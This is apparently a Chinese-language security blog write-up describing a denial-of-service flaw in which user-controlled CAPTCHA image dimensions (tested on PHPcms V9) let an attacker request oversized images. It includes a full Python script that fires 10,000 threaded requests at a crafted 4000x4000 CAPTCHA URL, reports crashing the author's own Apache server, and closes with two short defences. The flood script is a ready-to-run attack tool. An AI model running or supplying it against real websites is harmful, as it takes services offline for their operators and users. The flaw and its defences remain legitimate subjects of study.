图片验证码大小可控导致ddos
一. 前言:
在网站登录处,通常会有图片验证码.我们知道,Web漏洞的成因都有一个很重要的共同点,那就是外部可控.
比如Sql注入中的Url,用户输入的地方可能会存在XSS等.那么如果图片验证码可控,会发生什么呢?
二 . 原理:
比如一个生成图片验证码的链接如下:
http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=
这里我们注意两个参数:width和height,这两个意思字面理解为长度和宽度,那么我们尝试修改它的大小:
可以看到,修改大小后图片也随之改变.那么如果我们在这里找到一个临界值(能显示图片的最大长度和宽度),然后利用多线程一直去访问这个链接,是不是会造成服务端不断去处理这个请求(比预期的数据包大很多),可能会导致服务端压力过大,造成ddos攻击.
三. 实战
- 这里我们使用PHPcms_V9来测试: 首先搭建好环境,来到管理员登录页:
2. 可以看到图片验证码,然后F12找到生成验证码的链接,如下:
http://xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=500&height=500&font_color=&background=
然后尝试修改width和height,找到最大值且保证可访问.这里我找到的大概是 width=4000&height=4000
然后就可以利用脚本使用多线程去访问了
四. Python测试脚本
import requests
import threading
import time
"""
@ 图片验证码大小可控导致ddos攻击脚本
@ 单线程为测试,可忽略
@ 使用时修改url即可
@ 可根据实际情况修改访问次数,默认为10000
@ 仅供学习参考,请勿实施攻击
"""
# 访问指定Url
def requser():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}
# 将图片的长宽设置为最大临界值的链接
url = "http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=4000&height=4000&font_color=&background="
# url = "https://www.baidu.com/"
req = requests.get(url=url,headers=headers)
print("resuest Success!")
# 单线程访问
def single_thread():
for i in range(50):
requser()
print(f"现在是第{i}次请求网页")
# 多线程访问
def multi_thread():
print("multi_thread begin")
threads = []
for i in range(10000): # 10000为访问次数,可根据实际调整
threads.append(
threading.Thread(target=requser)
)
print(threads)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print("multi_thread end")
if __name__ == '__main__':
# 单线程
# single_thread()
# 多线程
start = time.time()
multi_thread()
end = time.time()
t = end - start
print(f"multi thread cost:{t} s")
五. 测试结果:
- 这里我们开启脚本去攻击,自己的服务器比较差,跑了100来次就挂了,看以下效果,已经刷不出来了:
- 看看服务器:Apache已经挂了
六 . 防御
这个就老生常谈了:
(1) 指定图片验证码的大小,不让外部用户控制大小参数
(2) 发现脚本请求直接封IP